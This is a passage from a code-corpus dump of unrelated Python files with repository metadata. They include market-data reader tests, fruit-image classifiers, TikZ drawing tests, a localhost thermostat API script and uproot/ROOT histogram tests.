SymbolConstruct.parse(symbol_spce) assert space["Entries"][0][DATEPACKED]["Year"] == 2017 def test_write_symbol_construct(symbol_spce): space = SymbolConstruct.parse(symbol_spce) newbin = SymbolConstruct.build(space) space["Entries"][0][DATEPACKED]["Year"] = 2016 space["Entries"][0][OPEN] = -25 newbin = SymbolConstruct.build(space) newparsed = SymbolConstruct.parse(newbin) assert newparsed["Entries"][0][DATEPACKED]["Year"] == 2016 assert newparsed["Entries"][0][OPEN] == -25 def test_AmiReader(): test_data_folder = os.path.dirname(__file__) test_data_folder = os.path.join(test_data_folder, "./TestData") amireader = AmiReader(test_data_folder) symbols = amireader.get_symbols() assert symbols[0] == "A" assert symbols[1] == "AA" spce = amireader.get_symbol_data_dictionary("SPCE") assert spce["Year"][0] == 2017 assert spce["Month"][0] == 9 assert spce["Day"][0] == 29 def test_reader_SymbolData(): test_data_folder = os.path.dirname(__file__) test_data_folder = os.path.join(test_data_folder, "./TestData") amireader = AmiReader(test_data_folder) spce = amireader.get_symbol_data("SPCE") data = spce.to_dict() assert len(data["Close"]) > 20 # Currently the compiled is not faster for this data # def test_AmiReader_compiled_should_faster(): # test_data_folder = os.path.dirname(__file__) # test_data_folder = os.path.join(test_data_folder, "./TestData") # amireader_fast = AmiReader(test_data_folder) # amireader_slow = AmiReader(test_data_folder, use_compiled=False) # time_fast=0 # time_slow=0 # num_runs=20 # for i in range(num_runs): # start=time.perf_counter() # spce = amireader_fast.get_symbol_data("SPCE") # end=time.perf_counter() # time_fast=time_fast+ end-start # # start=time.perf_counter() # spce = amireader_slow.get_symbol_data("SPCE") # end=time.perf_counter() # time_slow=time_slow+ end-start # time_slow=time_slow/num_runs # time_fast=time_fast/num_runs # # assert time_slow > time_fast

66.040268

4,711

0.710163

1,856

9,840

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10

3bdd239689c59ad0c2b2fa15e6560ac52efea118

160

py

Python

core/src/wattle/core/models/py/__init__.py

wattlecloud/foundation-server

e1467d192a7729fa4f116c80dcd001bfd58662e8

[ "Apache-2.0" ]

null

core/src/wattle/core/models/py/__init__.py

wattlecloud/foundation-server

e1467d192a7729fa4f116c80dcd001bfd58662e8

[ "Apache-2.0" ]

1

2021-07-20T00:28:27.000Z

core/src/wattle/core/models/py/__init__.py

wattlecloud/foundation-server

e1467d192a7729fa4f116c80dcd001bfd58662e8

[ "Apache-2.0" ]

null

from .auth import * # noqa: F401, F403 from .common import * # noqa: F401, F403 from .s3 import * # noqa: F401, F403 from .user import * # noqa: F401, F403

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9

ce1861746b9b6bee8b14f0392e5fa609e895f1fd

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py

Python

app/routes/__init__.py

shelb-doc/Py-News

fc74ac63ace5e5c44c7ead4afa406542de11cc16

[ "MIT" ]

null

app/routes/__init__.py

shelb-doc/Py-News

fc74ac63ace5e5c44c7ead4afa406542de11cc16

[ "MIT" ]

6

2021-04-12T16:27:34.000Z

2021-04-30T12:37:21.000Z

app/routes/__init__.py

shelb-doc/Py-News

fc74ac63ace5e5c44c7ead4afa406542de11cc16

[ "MIT" ]

null

from app.routes import home from .home import bp as home from .dashboard import bp as dashboard from .api import bp as api

17.857143

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7

cbfd698dd2dee124e632d6e0a7e6b62fe7eefa1e

3,891

py

Python

tests/sample_apps/how_to/_cloudsave.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

null

tests/sample_apps/how_to/_cloudsave.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

1

2021-10-13T03:46:58.000Z

tests/sample_apps/how_to/_cloudsave.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

null

from ._integration_test_case import IntegrationTestCase from accelbyte_py_sdk.api.cloudsave.models import ModelsGameRecordRequest class CloudSaveTestCase(IntegrationTestCase): post_game_record_handler_key: str = "key" models_game_record_request: ModelsGameRecordRequest = ModelsGameRecordRequest.create(dict_={"foo": "bar"}) def tearDown(self) -> None: from accelbyte_py_sdk.api.cloudsave import delete_game_record_handler_v1 _, error = delete_game_record_handler_v1(key=self.post_game_record_handler_key) self.log_warning(msg=f"Failed to tear down game record handler. {str(error)}", condition=error is not None) super().tearDown() def test_delete_game_record_handler_v1(self): from accelbyte_py_sdk.api.cloudsave import delete_game_record_handler_v1 from accelbyte_py_sdk.api.cloudsave import post_game_record_handler_v1 # arrange _, error = post_game_record_handler_v1( body=self.models_game_record_request, key=self.post_game_record_handler_key ) self.log_warning(msg=f"Failed to set up game record handler. {str(error)}", condition=error is not None) # act _, error = delete_game_record_handler_v1(key=self.post_game_record_handler_key) # assert self.assertIsNone(error, error) def test_get_game_record_handler_v1(self): from accelbyte_py_sdk.api.cloudsave import get_game_record_handler_v1 from accelbyte_py_sdk.api.cloudsave import post_game_record_handler_v1 # arrange _, error = post_game_record_handler_v1( body=self.models_game_record_request, key=self.post_game_record_handler_key ) self.log_warning(msg=f"Failed to set up game record handler. {str(error)}", condition=error is not None) # act _, error = get_game_record_handler_v1(key=self.post_game_record_handler_key) # assert self.assertIsNone(error, error) def test_post_game_record_handler_v1(self): from accelbyte_py_sdk.api.cloudsave import delete_game_record_handler_v1 from accelbyte_py_sdk.api.cloudsave import post_game_record_handler_v1 # arrange _, _ = delete_game_record_handler_v1(key=self.post_game_record_handler_key) # act _, error = post_game_record_handler_v1( body=self.models_game_record_request, key=self.post_game_record_handler_key ) # assert self.assertIsNone(error, error) def test_put_game_record_handler_v1(self): from accelbyte_py_sdk.api.cloudsave import get_game_record_handler_v1 from accelbyte_py_sdk.api.cloudsave import post_game_record_handler_v1 from accelbyte_py_sdk.api.cloudsave import put_game_record_handler_v1 from accelbyte_py_sdk.api.cloudsave.models import ModelsGameRecordRequest from accelbyte_py_sdk.api.cloudsave.models import ModelsGameRecordResponse # arrange _, error = post_game_record_handler_v1( body=self.models_game_record_request, key=self.post_game_record_handler_key ) self.log_warning(msg=f"Failed to set up game record handler. {str(error)}", condition=error is not None) # act _, error = put_game_record_handler_v1( body=ModelsGameRecordRequest.create( dict_={"foo": "baz"} ), key=self.post_game_record_handler_key ) # assert self.assertIsNone(error, error) result, error = get_game_record_handler_v1(key=self.post_game_record_handler_key) self.assertIsNotNone(result) self.assertIsInstance(result, ModelsGameRecordResponse) self.assertIsNotNone(result.value) self.assertIn("foo", result.value) self.assertEqual("baz", result.value["foo"])

39.30303

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8

5a42d9e8f1f674629b5751efe57ef4fa0adfa1ac

7,667

py

Python

orangelib/build/lib/orangelib/model.py

ayoolaolafenwa/orangelib

4fe7d88488482e52d466b8021db3b4e4dc80a484

[ "MIT" ]

5

2020-06-23T11:47:35.000Z

2021-12-18T16:00:18.000Z

orangelib/build/lib/orangelib/model.py

ayoolaolafenwa/orangelib

4fe7d88488482e52d466b8021db3b4e4dc80a484

[ "MIT" ]

null

orangelib/build/lib/orangelib/model.py

ayoolaolafenwa/orangelib

4fe7d88488482e52d466b8021db3b4e4dc80a484

[ "MIT" ]

4

2020-06-23T11:51:49.000Z

2021-11-21T03:44:48.000Z

import tensorflow from tensorflow.keras.layers import * from tensorflow.keras.models import * import os from tensorflow.keras.preprocessing import image from .net import MobileNetV2 import numpy as np from tensorflow.keras import backend as K class OrangeClassifier(): def __init__(self, model_path): self.model = MobileNetV2(input_shape=(224, 224, 3), num_classes=2) self.model.load_weights(model_path) self.class_map = {0:"ripe orange",1:"unripe orange"} def preprocess_input(self,x): x *= (1. / 255) return x def predict(self,image_path): image_to_predict = image.load_img(image_path, target_size=( 224, 224)) image_to_predict = image.img_to_array(image_to_predict, data_format="channels_last") image_to_predict = np.expand_dims(image_to_predict, axis=0) image_to_predict = self.preprocess_input(image_to_predict) prediction = self.model.predict(image_to_predict) predicted_class = prediction.argmax() prediction_confidence = prediction.max() * 100 image_class = self.class_map[predicted_class] return image_class, prediction_confidence def predictBatch(self,image_paths): #create an array to store all processed images images_array = [] #loop over the batch of images sent for image_path in image_paths: image_to_predict = image.load_img(image_path, target_size=(224, 224)) image_to_predict = image.img_to_array(image_to_predict, data_format="channels_last") image_to_predict = np.expand_dims(image_to_predict, axis=0) image_to_predict = self.preprocess_input(image_to_predict) #append the processed images to the array images_array.append(image_to_predict) #merge all the images together as one array images = np.concatenate(images_array) predictions = self.model.predict(images) #use axis=1 to compute the argmax and max predicted_classes = predictions.argmax(axis=1) prediction_confidence = predictions.max(axis=1) * 100 #create an array to store the names of the classes predicted_class_names = [] #loop over all the predictions and convert indexes to class names for predicted_index in predicted_classes: class_name = self.class_map[predicted_index] #append the class name to the array predicted_class_names.append(class_name) #return the class name list and the confidences return predicted_class_names,prediction_confidence class BananaClassifier(): def __init__(self, model_path): self.model = MobileNetV2(input_shape=(224, 224, 3), num_classes=2) self.model.load_weights(model_path) self.class_map = {0:"ripe banana",1:"unripe banana"} def preprocess_input(self,x): x *= (1. / 255) return x def predict(self,image_path): image_to_predict = image.load_img(image_path, target_size=( 224, 224)) image_to_predict = image.img_to_array(image_to_predict, data_format="channels_last") image_to_predict = np.expand_dims(image_to_predict, axis=0) image_to_predict = self.preprocess_input(image_to_predict) prediction = self.model.predict(image_to_predict) predicted_class = prediction.argmax() prediction_confidence = prediction.max() * 100 image_class = self.class_map[predicted_class] return image_class, prediction_confidence def predictBatch(self,image_paths): #create an array to store all processed images images_array = [] #loop over the batch of images sent for image_path in image_paths: image_to_predict = image.load_img(image_path, target_size=(224, 224)) image_to_predict = image.img_to_array(image_to_predict, data_format="channels_last") image_to_predict = np.expand_dims(image_to_predict, axis=0) image_to_predict = self.preprocess_input(image_to_predict) #append the processed images to the array images_array.append(image_to_predict) #merge all the images together as one array images = np.concatenate(images_array) predictions = self.model.predict(images) #use axis=1 to compute the argmax and max predicted_classes = predictions.argmax(axis=1) prediction_confidence = predictions.max(axis=1) * 100 #create an array to store the names of the classes predicted_class_names = [] #loop over all the predictions and convert indexes to class names for predicted_index in predicted_classes: class_name = self.class_map[predicted_index] #append the class name to the array predicted_class_names.append(class_name) #return the class name list and the confidences return predicted_class_names,prediction_confidence class AppleClassifier(): def __init__(self, model_path): self.model = MobileNetV2(input_shape=(224, 224, 3), num_classes=2) self.model.load_weights(model_path) self.class_map = {0:"green apple",1:"red apple"} def preprocess_input(self,x): x *= (1. / 255) return x def predict(self,image_path): image_to_predict = image.load_img(image_path, target_size=( 224, 224)) image_to_predict = image.img_to_array(image_to_predict, data_format="channels_last") image_to_predict = np.expand_dims(image_to_predict, axis=0) image_to_predict = self.preprocess_input(image_to_predict) prediction = self.model.predict(image_to_predict) predicted_class = prediction.argmax() prediction_confidence = prediction.max() * 100 image_class = self.class_map[predicted_class] return image_class, prediction_confidence def predictBatch(self,image_paths): #create an array to store all processed images images_array = [] #loop over the batch of images sent for image_path in image_paths: image_to_predict = image.load_img(image_path, target_size=(224, 224)) image_to_predict = image.img_to_array(image_to_predict, data_format="channels_last") image_to_predict = np.expand_dims(image_to_predict, axis=0) image_to_predict = self.preprocess_input(image_to_predict) #append the processed images to the array images_array.append(image_to_predict) #merge all the images together as one array images = np.concatenate(images_array) predictions = self.model.predict(images) #use axis=1 to compute the argmax and max predicted_classes = predictions.argmax(axis=1) prediction_confidence = predictions.max(axis=1) * 100 #create an array to store the names of the classes predicted_class_names = [] #loop over all the predictions and convert indexes to class names for predicted_index in predicted_classes: class_name = self.class_map[predicted_index] #append the class name to the array predicted_class_names.append(class_name) #return the class name list and the confidences return predicted_class_names,prediction_confidence

35.169725

97

0.663623

974

7,667

4.946612

0.101643

0.069738

0.139477

0.047323

0.935243

0

0.020474

0.26738

7,667

217

98

35.331797

0.83728

0.154167

0

0.87931

0

0.023394

0

1

0.103448

false

0

0.068966

0

0.275862

0

null

0

1

0

1

0

null

0

7

ce637de6ea58bcc6eb859600dfc07d1ca4c99a0d

4,079

py

Python

test/polygon_test.py

TimeExceed/fathom

23e611213b25789f3e4931e5f3961bee7500ffa5

[ "BSD-3-Clause" ]

null

test/polygon_test.py

TimeExceed/fathom

23e611213b25789f3e4931e5f3961bee7500ffa5

[ "BSD-3-Clause" ]

null

test/polygon_test.py

TimeExceed/fathom

23e611213b25789f3e4931e5f3961bee7500ffa5

[ "BSD-3-Clause" ]

null

import testa from fathom import Point, ORIGIN import fathom.tikz as tikz import fathom.colors as colors import fathom.line_styles as line_styles import fathom.corner_styles as corner_styles @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \draw (0.50cm,2.00cm)--(1.50cm,2.00cm)--(1.50cm,0.00cm)--(0.50cm,0.00cm)--cycle; \end{tikzpicture} \end{document} ''') def draw_rectangle(): canvas = tikz.Canvas() canvas.new_rectangle(center=Point(1, 1), width=1, height=2) return canvas.draw() @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \draw (0.00cm,0.00cm)--(1.00cm,2.00cm)--(2.00cm,0.00cm)--cycle; \end{tikzpicture} \end{document} ''') def draw_triangle(): canvas = tikz.Canvas() canvas.new_triangle(vertices=[ORIGIN, Point(1, 2), Point(2, 0)]) return canvas.draw() @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \draw (0.00cm,0.00cm)--(1.00cm,2.00cm)--(2.00cm,0.00cm)--cycle; \end{tikzpicture} \end{document} ''') def draw_polygon(): canvas = tikz.Canvas() canvas.new_polygon(vertices=[ORIGIN, Point(1, 2), Point(2, 0)]) return canvas.draw() @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \draw[color=red] (0.50cm,2.00cm)--(1.50cm,2.00cm)--(1.50cm,0.00cm)--(0.50cm,0.00cm)--cycle; \end{tikzpicture} \end{document} ''') def rectangle_pen_color(): canvas = tikz.Canvas() canvas.new_rectangle( center=Point(1, 1), width=1, height=2, pen_color=colors.RED) return canvas.draw() @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \fill[color=red] (0.50cm,2.00cm)--(1.50cm,2.00cm)--(1.50cm,0.00cm)--(0.50cm,0.00cm)--cycle; \end{tikzpicture} \end{document} ''') def rectangle_brush_color(): canvas = tikz.Canvas() canvas.new_rectangle( center=Point(1, 1), width=1, height=2, pen_color=colors.INVISIBLE, brush_color=colors.RED) return canvas.draw() @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \draw[dashed] (0.50cm,2.00cm)--(1.50cm,2.00cm)--(1.50cm,0.00cm)--(0.50cm,0.00cm)--cycle; \end{tikzpicture} \end{document} ''') def rectangle_line_style(): canvas = tikz.Canvas() canvas.new_rectangle( center=Point(1, 1), width=1, height=2, line_style=line_styles.DASHED) return canvas.draw() @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \fill[rounded corners=0.15cm,color=red] (0.50cm,2.00cm)--(1.50cm,2.00cm)--(1.50cm,0.00cm)--(0.50cm,0.00cm)--cycle; \draw[rounded corners=0.15cm] (0.50cm,2.00cm)--(1.50cm,2.00cm)--(1.50cm,0.00cm)--(0.50cm,0.00cm)--cycle; \end{tikzpicture} \end{document} ''') def rectangle_rounded_corners(): canvas = tikz.Canvas() canvas.new_rectangle( center=Point(1, 1), width=1, height=2, pen_color=colors.BLACK, brush_color=colors.RED, corner_style=corner_styles.DEFAULT_ROUNDED) return canvas.draw() @testa.is_(expect=r''' \documentclass[UTF8]{ctexart} \usepackage[a0paper]{geometry} \usepackage{tikz} \pagestyle{empty} \begin{document} \begin{tikzpicture} \draw (-2.00cm,0.00cm)--(0.00cm,1.50cm)--(2.00cm,0.00cm)--(0.00cm,-1.50cm)--cycle; \end{tikzpicture} \end{document} ''') def draw_diamond(): canvas = tikz.Canvas() canvas.new_diamond(center=ORIGIN, width=4, height=3) return canvas.draw() if __name__ == '__main__': testa.main()

24.572289

114

0.683746

574

4,079

4.771777

0.111498

0.040161

0.046002

0.043812

0.835706

0.808324

0.794816

0.780212

0.778751

0

0.071468

0.121844

4,079

165

115

24.721212

0.693188

0

0.77027

0

0.060811

0.525864

0.277274

0

1

0.054054

false

0

0.040541

0

0.148649

0

null

0

1

0

1

0

null

0

7

ce7986caebd775ebe07c34802a26ab3bed42cc00

2,055

py

Python

server/tests/main.py

maresc-g/thermostat

be61b7b36d50b6eabebfc63edce4b78151512971

[ "MIT" ]

null

server/tests/main.py

maresc-g/thermostat

be61b7b36d50b6eabebfc63edce4b78151512971

[ "MIT" ]

null

server/tests/main.py

maresc-g/thermostat

be61b7b36d50b6eabebfc63edce4b78151512971

[ "MIT" ]

null

#!/usr/bin/env python3 import requests as req import json r = req.get('http://127.0.0.1:8080/v1/heater_timeslot') print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}') payload = { "target_temperature": 21.47, "start_day": 1, "start_time": "21:20:45", "end_day": 2, "end_time": "01:06:00", } r = req.post('http://127.0.0.1:8080/v1/heater_timeslot', data=json.dumps(payload)) print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.text}') r = req.get('http://127.0.0.1:8080/v1/heater_timeslot') print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}') pk = r.json()[0]["pk"] payload = { "pk": pk, "target_temperature": 17.5, "start_day": 2, "start_time": "01:20:45", "end_day": 6, "end_time": "22:05:00", } r = req.put('http://127.0.0.1:8080/v1/heater_timeslot', data=json.dumps(payload)) print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.text}') r = req.get('http://127.0.0.1:8080/v1/heater_timeslot') print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}') r = req.get('http://127.0.0.1:8080/v1/setting/default_temperature') print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}') payload = { "key": "default_temperature", "value": "20" } r = req.put('http://127.0.0.1:8080/v1/setting', data=json.dumps(payload)) print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.text}') r = req.get('http://127.0.0.1:8080/v1/setting/default_temperature') print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}') r = req.get('http://127.0.0.1:8080/v1/setting/holiday_mode_enabled') print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}') payload = { "key": "holiday_mode_enabled", "value": "True" } r = req.put('http://127.0.0.1:8080/v1/setting', data=json.dumps(payload)) print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.text}') r = req.get('http://127.0.0.1:8080/v1/setting/holiday_mode_enabled') print(f'{r.url} ({r.request.method}) => {r.status_code} : {r.json()}')

33.145161

82

0.616545

356

2,055

3.460674

0.168539

0.035714

0.071429

0.080357

0.796266

0

0.087767

0.112895

2,055

61

83

33.688525

0.588042

0.010219

0

0.5

0

0.229167

0.65273

0

1

0

false

0

0.041667

0

0.041667

0.229167

0

null

0

1

0

1

0

null

0

7

ceb194e0d0573b7a449a4d9241e58cf749ea232f

86

py

Python

aoc_cqkh42/year_2020/__init__.py

cqkh42/advent-of-code

bcf31cf8973a5b6d67492c412dce10df742e04d1

[ "MIT" ]

null

aoc_cqkh42/year_2020/__init__.py

cqkh42/advent-of-code

bcf31cf8973a5b6d67492c412dce10df742e04d1

[ "MIT" ]

null

aoc_cqkh42/year_2020/__init__.py

cqkh42/advent-of-code

bcf31cf8973a5b6d67492c412dce10df742e04d1

[ "MIT" ]

null

""" Solutions for 2020's Advent of Code """ # TODO is it tidy? # TODO is it complete?a

17.2

35

0.674419

16

86

3.625

0.8125

0.206897

0.275862

0

0.057971

0.197674

86

5

36

17.2

0.782609

0.872093

0

null

0

null

0

null

0

0.2

null

1

null

true

0

null

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

7

0b5ab38e3f12d77a734e16bacedb3dacf93042b3

26,536

py

Python

tests/test_0405-write-a-histogram.py

eic/uproot4

deb8d88c2643521f372bf5005c51af8926016c7e

[ "BSD-3-Clause" ]

133

2020-05-08T21:34:11.000Z

2022-03-07T18:12:58.000Z

tests/test_0405-write-a-histogram.py

eic/uproot4

deb8d88c2643521f372bf5005c51af8926016c7e

[ "BSD-3-Clause" ]

269

2020-05-13T02:42:24.000Z

2022-03-24T20:24:16.000Z

tests/test_0405-write-a-histogram.py

eic/uproot4

deb8d88c2643521f372bf5005c51af8926016c7e

[ "BSD-3-Clause" ]

45

2020-05-15T17:48:04.000Z

2022-03-18T19:23:07.000Z

# BSD 3-Clause License; see https://github.com/scikit-hep/uproot4/blob/main/LICENSE import os import numpy as np import pytest import skhep_testdata import uproot import uproot.writing ROOT = pytest.importorskip("ROOT") def test_copy(tmp_path): original = os.path.join(tmp_path, "original.root") newfile = os.path.join(tmp_path, "newfile.root") f1 = ROOT.TFile(original, "recreate") h1 = ROOT.TH1F("h1", "title", 8, -3.14, 2.71) h1.SetBinContent(0, 0.0) h1.SetBinContent(1, 1.1) h1.SetBinContent(2, 2.2) h1.SetBinContent(3, 3.3) h1.SetBinContent(4, 4.4) h1.SetBinContent(5, 5.5) h1.SetBinContent(6, 6.6) h1.SetBinContent(7, 7.7) h1.SetBinContent(8, 8.8) h1.SetBinContent(9, 9.9) h1.Write() f1.Close() with uproot.open(original) as fin: h2 = fin["h1"] with uproot.recreate(newfile) as fout: fout["h1"] = h2 f3 = ROOT.TFile(newfile) h3 = f3.Get("h1") assert h3.GetBinContent(0) == pytest.approx(0.0) assert h3.GetBinContent(1) == pytest.approx(1.1) assert h3.GetBinContent(2) == pytest.approx(2.2) assert h3.GetBinContent(3) == pytest.approx(3.3) assert h3.GetBinContent(4) == pytest.approx(4.4) assert h3.GetBinContent(5) == pytest.approx(5.5) assert h3.GetBinContent(6) == pytest.approx(6.6) assert h3.GetBinContent(7) == pytest.approx(7.7) assert h3.GetBinContent(8) == pytest.approx(8.8) assert h3.GetBinContent(9) == pytest.approx(9.9) f3.Close() def test_from_old(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") with uproot.open(skhep_testdata.data_path("uproot-histograms.root")) as fin: one = fin["one"] with uproot.recreate(newfile) as fout: fout["one"] = one f1 = ROOT.TFile(newfile) h1 = f1.Get("one") assert h1.GetBinContent(0) == 0 assert h1.GetBinContent(1) == 68 assert h1.GetBinContent(2) == 285 assert h1.GetBinContent(3) == 755 assert h1.GetBinContent(4) == 1580 assert h1.GetBinContent(5) == 2296 assert h1.GetBinContent(6) == 2286 assert h1.GetBinContent(7) == 1570 assert h1.GetBinContent(8) == 795 assert h1.GetBinContent(9) == 289 assert h1.GetBinContent(10) == 76 assert h1.GetBinContent(11) == 0 f1.Close() def test_new_name(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") with uproot.open(skhep_testdata.data_path("uproot-histograms.root")) as fin: one = fin["one"] with uproot.recreate(newfile) as fout: fout["whatever"] = one f1 = ROOT.TFile(newfile) h1 = f1.Get("whatever") assert h1.GetBinContent(0) == 0 assert h1.GetBinContent(1) == 68 assert h1.GetBinContent(2) == 285 assert h1.GetBinContent(3) == 755 assert h1.GetBinContent(4) == 1580 assert h1.GetBinContent(5) == 2296 assert h1.GetBinContent(6) == 2286 assert h1.GetBinContent(7) == 1570 assert h1.GetBinContent(8) == 795 assert h1.GetBinContent(9) == 289 assert h1.GetBinContent(10) == 76 assert h1.GetBinContent(11) == 0 f1.Close() @pytest.mark.parametrize("cls", [ROOT.TH1C, ROOT.TH1D, ROOT.TH1F, ROOT.TH1I, ROOT.TH1S]) def test_all_TH1(tmp_path, cls): original = os.path.join(tmp_path, "original.root") newfile = os.path.join(tmp_path, "newfile.root") f1 = ROOT.TFile(original, "recreate") h1 = cls("h1", "title", 2, -3.14, 2.71) h1.Fill(-4) h1.Fill(-3.1) h1.Fill(-3.1) h1.Fill(2.7, 5) h1.Fill(3, 4) h1.Write() f1.Close() with uproot.open(original) as fin: h2 = fin["h1"] with uproot.recreate(newfile) as fout: fout["out"] = h2 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 7 assert h3.GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetBinWidth(1) == pytest.approx((2.71 - -3.14) / 2) assert h3.GetBinContent(0) == pytest.approx(1) assert h3.GetBinContent(1) == pytest.approx(2) assert h3.GetBinContent(2) == pytest.approx(5) assert h3.GetBinContent(3) == pytest.approx(4) assert h3.GetBinError(0) == pytest.approx(1) assert h3.GetBinError(1) == pytest.approx(1.4142135623730951) assert h3.GetBinError(2) == pytest.approx(5) assert h3.GetBinError(3) == pytest.approx(4) f3.Close() @pytest.mark.parametrize("cls", [ROOT.TH2C, ROOT.TH2D, ROOT.TH2F, ROOT.TH2I, ROOT.TH2S]) def test_all_TH2(tmp_path, cls): original = os.path.join(tmp_path, "original.root") newfile = os.path.join(tmp_path, "newfile.root") f1 = ROOT.TFile(original, "recreate") h1 = cls("h1", "title", 2, -3.14, 2.71, 3, -5, 10) h1.Fill(-4, 9) h1.Fill(-3.1, 9) h1.Fill(-3.1, 9) h1.Fill(2.7, -4, 5) h1.Fill(3, 9, 4) h1.Write() f1.Close() with uproot.open(original) as fin: h2 = fin["h1"] with uproot.recreate(newfile) as fout: fout["out"] = h2 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 7 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert [[h3.GetBinContent(i, j) for j in range(5)] for i in range(4)] == [ pytest.approx([0, 0, 0, 1, 0]), pytest.approx([0, 0, 0, 2, 0]), pytest.approx([0, 5, 0, 0, 0]), pytest.approx([0, 0, 0, 4, 0]), ] f3.Close() @pytest.mark.parametrize("cls", [ROOT.TH3C, ROOT.TH3D, ROOT.TH3F, ROOT.TH3I, ROOT.TH3S]) def test_all_TH3(tmp_path, cls): original = os.path.join(tmp_path, "original.root") newfile = os.path.join(tmp_path, "newfile.root") f1 = ROOT.TFile(original, "recreate") h1 = cls("h1", "title", 2, -3.14, 2.71, 3, -5, 10, 1, 100, 200) h1.Fill(-4, 9, 150) h1.Fill(-3.1, 9, 150) h1.Fill(-3.1, 9, 150) h1.Fill(2.7, -4, 150, 5) h1.Fill(3, 9, 150, 4) h1.Write() f1.Close() with uproot.open(original) as fin: h2 = fin["h1"] with uproot.recreate(newfile) as fout: fout["out"] = h2 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 7 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetNbinsZ() == 1 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert h3.GetZaxis().GetBinLowEdge(1) == pytest.approx(100) assert h3.GetZaxis().GetBinUpEdge(1) == pytest.approx(200) approx = pytest.approx assert [ [[h3.GetBinContent(i, j, k) for k in range(3)] for j in range(5)] for i in range(4) ] == [ [[0, 0, 0], approx([0, 0, 0]), [0, 0, 0], approx([0, 1, 0]), [0, 0, 0]], [[0, 0, 0], approx([0, 0, 0]), [0, 0, 0], approx([0, 2, 0]), [0, 0, 0]], [[0, 0, 0], approx([0, 5, 0]), [0, 0, 0], approx([0, 0, 0]), [0, 0, 0]], [[0, 0, 0], approx([0, 0, 0]), [0, 0, 0], approx([0, 4, 0]), [0, 0, 0]], ] f3.Close() def test_TProfile(tmp_path): original = os.path.join(tmp_path, "original.root") newfile = os.path.join(tmp_path, "newfile.root") f1 = ROOT.TFile(original, "recreate") h1 = ROOT.TProfile("h1", "title", 2, -3.14, 2.71) h1.Fill(-4, 10) h1.Fill(-3.1, 10) h1.Fill(-3.1, 20) h1.Fill(2.7, 20) h1.Fill(3, 20) h1.Write() f1.Close() with uproot.open(original) as fin: h2 = fin["h1"] with uproot.recreate(newfile) as fout: fout["out"] = h2 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 35 assert h3.GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetBinWidth(1) == pytest.approx((2.71 - -3.14) / 2) assert h3.GetBinContent(0) == pytest.approx(10) assert h3.GetBinContent(1) == pytest.approx(15) assert h3.GetBinContent(2) == pytest.approx(20) assert h3.GetBinContent(3) == pytest.approx(20) assert h3.GetBinError(0) == pytest.approx(0) assert h3.GetBinError(1) == pytest.approx(np.sqrt(12.5)) assert h3.GetBinError(2) == pytest.approx(0) assert h3.GetBinError(3) == pytest.approx(0) f3.Close() def test_TProfile2D(tmp_path): original = os.path.join(tmp_path, "original.root") newfile = os.path.join(tmp_path, "newfile.root") f1 = ROOT.TFile(original, "recreate") h1 = ROOT.TProfile2D("h1", "title", 2, -3.14, 2.71, 3, -5, 10) h1.Fill(-4, 9, 10) h1.Fill(-3.1, 9, 10) h1.Fill(-3.1, 9, 20) h1.Fill(2.7, -4, 20) h1.Fill(3, 9, 20) h1.Write() f1.Close() with uproot.open(original) as fin: h2 = 